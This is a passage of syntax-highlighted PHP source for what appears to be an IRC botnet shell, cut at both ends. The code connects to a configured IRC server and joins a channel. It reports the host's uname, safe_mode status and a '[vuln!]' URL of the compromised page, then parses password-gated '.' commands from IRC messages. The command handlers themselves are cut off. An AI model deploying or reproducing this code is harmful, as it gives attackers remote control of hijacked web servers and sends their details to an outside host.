&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">conn</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fsockopen"><span style="color: #990000;">fsockopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'server'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'port'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$e</span><span style="color: #339933;">,</span><span style="color: #000088;">$s</span><span style="color: #339933;">,</span>30<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$ident</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'prefix'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$alph</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/range"><span style="color: #990000;">range</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;0&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;9&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'maxrand'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$ident</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$alph</span><span style="color: #009900;">&#91;</span><a href="http://www.php.net/rand"><span style="color: #990000;">rand</span></a><span style="color: #009900;">&#40;</span>0<span style="color: #339933;">,</span>9<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pass'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span>0<span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;PASS &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pass'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;USER &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$ident</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; 127.0.0.1 localhost :&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/php_uname"><span style="color: #990000;">php_uname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_nick</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">main</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">conn</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">buf</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/fgets"><span style="color: #990000;">fgets</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">conn</span><span style="color: #339933;">,</span>512<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$cmd</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">buf</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">buf</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;PING :&quot;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;PONG :&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">buf</span><span style="color: #339933;">,</span>6<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$cmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;001&quot;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;MODE &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'modes'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">join</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'key'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;on&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$safemode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;on&quot;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$safemode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;off&quot;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$uname</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/php_uname"><span style="color: #990000;">php_uname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan2'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>uname!<span style="color: #660099; font-weight: bold;">\2</span>]: <span style="color: #006699; font-weight: bold;">$uname</span> (safe: <span style="color: #006699; font-weight: bold;">$safemode</span>)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan2'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>vuln!<span style="color: #660099; font-weight: bold;">\2</span>]: http://&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SERVER_NAME'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REQUEST_URI'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$cmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;433&quot;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_nick</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">buf</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$old_buf</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$mcmd</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$msg</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">buf</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; :&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$msgcmd</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$msg</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$nick</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;!&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$vhost</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;@&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$nick</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$vhost</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$vhost</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$nick</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$nick</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$host</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msgcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$msgcmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$msgcmd</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">+</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$msgcmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$msgcmd</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span>2<span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;QUIT&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">is_logged_in</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">log_out</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;PART&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">is_logged_in</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">log_out</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;PRIVMSG&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">is_logged_in</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$vhost</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'hostauth'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'hostauth'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;*&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>1<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;user&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <br />
